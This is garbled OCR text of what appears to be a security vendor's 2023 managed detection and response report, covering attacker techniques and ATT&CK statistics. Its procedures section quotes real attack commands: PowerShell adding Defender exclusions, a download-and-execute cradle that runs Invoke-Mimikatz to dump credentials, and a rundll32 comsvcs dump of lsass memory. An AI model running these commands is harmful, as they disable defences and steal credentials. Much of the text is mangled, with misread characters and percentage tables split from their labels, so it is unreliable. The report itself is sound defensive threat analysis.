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Figure 6



Table 1


https://securelist.com/managed-detection-and-response-in-2021/106540/
https://securelist.com/mdr-report-2022/109599/
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https://www.kaspersky.com/enterprise-security/security-assessment
https://lolbas-project.github.io/
https://www.kaspersky.com/enterprise-security/managed-detection-and-response
https://www.kaspersky.com/enterprise-security/wiki-section/products/multi-layered-approach-to-security
https://attack.mitre.org/
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Figure 10
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https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
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Figure 17
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https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-068
https://www.kaspersky.com/blog/supply-chain-attack-on-3cx/47698/
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Table 2
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https://lolbas-project.github.io/

procedures

PowerShell, being a feature-rich standard Windows shell, is used in many scenarios. Here are some examples:

+ Launching malicious content with attempts at obfuscation

Figure 19 Launching obfuscated malicious content using PowerShell

+ Disabling security systems or changing their configuration

Figure 20 Creating a Windows Defender exclusion using PowerShell

"

* Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command Add-MpPreference -ExclusionPath 'C:\Program FiIes\RliP Wrapper' -Force; Add-MpPreference -ExclusionPath C:\Progra
mData\RealtekHD\taskhost.exe -Force; Add-MpPreference -ExclusionPath C:\ProgramData\WindowsTask\audiodg.exe -Force; Add-MpPreference-ExclusionPath C:\ProgramData\WindowsTask\AppMo

o

dule.exe -Force; Add-MpPreference -ExclusionPath C:\ProgramData -Force; Add-MpPreference -ExclusionPath C:\ProgramData\RealtekHD\taskhostw.exe -Force; Add-MpPreference -ExclusionPath
C:\Windows\SysWowé4\unsecapp.exe -Force; Add-MpPreference -ExclusionPath C:\ProgramData\WindowsTask\AMD.exe -Force; regadd.HKLM\Software\Policies\Microsoft\Windows:Defender\Exclu .
sions\Processes /v C:\ProgramData\RealtekHD\taskhostw:exe /t REG_DWORD /d O /f < @ <

Zoygd N 3 5 &%
ooy Z '

+ Use of off-the-shelf attack tools

Using PowerShell implementation of Mimikatz

7/byp.pst’); start-sleep -s 5; iex (New-Object NetWebClient).
'/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command " "privilege::debug sekurlsa::logonpasswords Isadump::sam exit' >> C:\Window: xt"

- -

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "iex (new-object system.netwebclient).downloadstring(‘http://.
~5 DownloadString(‘http://:

" ° 5 S * ; Y *

Often, malicious components are implemented as dynamic libraries, which explains the popularity of rundll32:

Figure 22 Using rundll32 to access the Isass memory

B %COMSPEC% /Q /c cmd.eXe /Q /c for /f "tokens=1,2 delims=" "%A in (""tasklist /fi "Imagename eq Isass.exe" | find “Isags"") do rundlI32.exe C:\windows\System32\comsvcs.dll, #+000
\Windows\Temp\ \.rtf full A = : v : ;

Managed Detection and Response | Analyst report 2023




Figure 23

Figure 24

Figure 25

Figure 26
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https://lolbas-project.github.io/lolbas/Libraries/comsvcs/
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://lolbas-project.github.io/lolbas/Binaries/Msedge/

Table 3
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https://encyclopedia.kaspersky.com/glossary/lotl-living-off-the-land/

Cumulative contribution ~ 53%

Table 4

Average conversion =~ 23%

enrichment

¢ Monitoring hosts network configuration

¢ Reputation of the file/script/office document

27


https://www.kaspersky.com/enterprise-security/wiki-section/products/multi-layered-approach-to-security
https://www.kaspersky.com/file-reputation

enrichment

+ EPP verdict for the object

4 Reputation of the destination host

4 URLreputation

4 URL and/or site reputation

4 EPP configuration
+ List of critical servers

4 EPP configuration
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https://support.kaspersky.com/KICS4Nodes/3.0/en-US/147895.htm
https://www.kaspersky.com/enterprise-security/industrial-cybersecurity

Cumulative contribution ~ 21%

Table 5

Average conversion ~ 47%
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T1036: Masquerading

T1059: Command and Scripting Interpreter

T1071: Application Layer Protocol

T1078: Valid Accounts

T1091: Replication Through Removable Media

TNO05: Ingress Tool Transfer

TIMO: Brute Force

T1189: Drive-by Compromise

T1190: Exploit Public-Facing Application

T1195: Supply Chain Compromise

1.74%

1.69%

9.32%

118%

113%

1.08%

2.51%

1.95%

1.27%

1.79%

T1204: User Execution

T1210: Exploitation of Remote Services

T1534: Internal Spearphishing

T1553: Subvert Trust Controls

T1566: Phishing

T1568: Dynamic Resolution

T1598: Phishing for Information

T1003: OS Credential Dumping

T1007: System Service Discovery

13.32%

4.00%

215%

1.54%

99.33%

5.79%

215%

4.56%

1.43%

T1016: System Network Configuration
Discovery

T1021: Remote Services

T1027: Obfuscated Files or Information

T1033: System Owner/User Discover

T1036: Masquerading

T1047: Windows Management
Instrumentation

T1049: System Network Connections
Discovery

T1053: Scheduled Task/Job

T1055: Process Injection

T1059: Command and Scripting Interpreter

T1069: Permission Groups Discovery

T1070: Indicator Removal

T1071: Application Layer Protocol

T1082: System Information Discovery

T1087: Account Discovery

T1098: Account Manipulation

T105: Ingress Tool Transfer

T112: Modify Registry

1.43%

9.94%

3.33%

2.36%

6.05%

3.59%

210%

5.84%

1.69%

21.36%

2.00%

118%

21.82%

2.20%

3.38%

1.23%

4.00%

2.05%
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T1559: Inter-Process Communication 118%

T1561: Disk Wipe 1.08%
T1564: Hide Artifacts 1.64% T1078: Valid Accounts 25.82%
T1565: Data Manipulation 2.82%
T1087: Account Discovery 6.56%
T1568: Dynamic Resolution 3.64%
T1569: System Services 7.79%
T1570: Lateral Tool Transfer 118% T1098: Account Manipulation 87.50%
TIM2: Modify Registry 2.05%
T1574: Hijack Execution Flow 2.31%
T1204: User Execution 60.09% T1587: Develop Capabilities 1.33%
T1210: Exploitation of Remote Services 1.54%
T1218: System Binary Proxy Execution 5.43%
T1620: Reflective Code Loading 1.02%
T1003: OS Credential Dumping 4.66%
T1012: Query Registry 1.23%
T1496: Resource Hijacking 2.00%
T1021: Remote Services 36.83%
T1496: Resource Hijacking 1.64%
T1505: Server Software Component 6.81%
T1036: Masquerading 6.45%
T1543: Create or Modify System Process 2.56%
T1546: Event Triggered Execution 2.36%
T1543: Create or Modify System Process 2.00%
T1547: Boot or Logon Autostart Execution 7.89%
T1546: Event Triggered Execution 7.48%
T1547: Boot or Logon Autostart Execution 9.43%
T1562: Unsecured Credentials 1.33%
T1053: Scheduled Task/Job 2.51%
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T1564: Hide Artifacts 210%

T1003: OS Credential Dumping 2.05%
T1574: Hijack Execution Flow 113%
T1036: Masquerading 1.84%
T1562: Impair Defenses 2.77%
T1620: Reflective Code Loading 1.02%
T1070: Indicator Removal 1.64%
T1068: Exploitation for Privilege Escalation 1.02%
T1078: Valid A« t 22.69%
alid Accounts T1003: OS Credential Dumping 39.91%
T1098: Account Manipulation 21.98%
. ; o
T1207: Rogue Domain Controller 1.64% T1021: Remote Services 2.46%

T1548: Abuse Elevation Control Mechanism 118%
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TIMO: Brute Force 35.66%

T1552: Unsecured Credentials 2.20%
T1552: Unsecured Credentials 2.20%
T1555: Credentials from Password Stores 2.61% T1071: Application Layer Protocol 18.60%
T1558: Steal or Forge Kerberos Tickets 1.69% T1095: Non-Application Layer Protocol 3.33%
T1021: Remote Services 14.96%
T1568: Dynamic Resolution 2.72%
T1210: Exploitation of Remote Services 100%
T1572: Protocol Tunneling 1.28%
T1021: Remote Services 1.02%
T1204: User Execution 7.99%
. ; o
T1046: Network Service Discovery 1.64% T1485: Data Destruction 2.36%
T1486: Data Encrypted for Impact 2.66%
T1496: Resource Hijacking 3.18%
T1049: System Network Connections
) 1.23%
Discovery
T1561: Disk Wipe 5.17%
T1565: Data Manipulation 8.20%
T113: Screen Capture 1.28%
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T1003: OS Credential Dumping

T1018: Remote System Discovery

T1021: Remote Services

T1036: Masquerading

T1053: Scheduled Task/Job

T1055: Process Injection

T1059: Command and Scripting Interpreter

T1069: Permission Groups Discovery

T1071: Application Layer Protocol

T1087: Account Discovery

3.89%

1.74%

4.41%

1.69%

1.74%

5.53%

3.18%

2.20%

2.66%

2.61%

T1204: User Execution

T1210: Exploitation of Remote Services

T1482: Domain Trust Discovery

T1496: Resource Hijacking

T1505: Server Software Component

T1547: Boot or Logon Autostart Execution

T1555: Credentials from Password Stores

T1561: Disk Wipe

T1565: Data Manipulation

T1566: Phishing

20.18%

3.13%

1.69%

1.43%

1.64%

2.25%

2.00%

1.23%

4.76%

1.08%

T1569: System Services

T1574: Hijack Execution Flow

T1587: Develop Capabilities

T1588: Obtain Capabilities

T1608: Stage Capabilities
T1615: Group Policy Discovery

T1620: Reflective Code Loading

T1046: Network Service Discovery

T1071: Application Layer Protocol

T1204: User Execution

T1566: Phishing

T1568: Dynamic Resolution

T1595: Active Scanning

T1598: Phishing for Information

3.38%

1.33%

45.08%

43.49%

6.10%
1.69%

2.20%

3.38%

3.23%

3.69%

3.84%

1.84%

10.35%

3.74%
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https://www.kaspersky.com/about/awards



https://www.kaspersky.com/



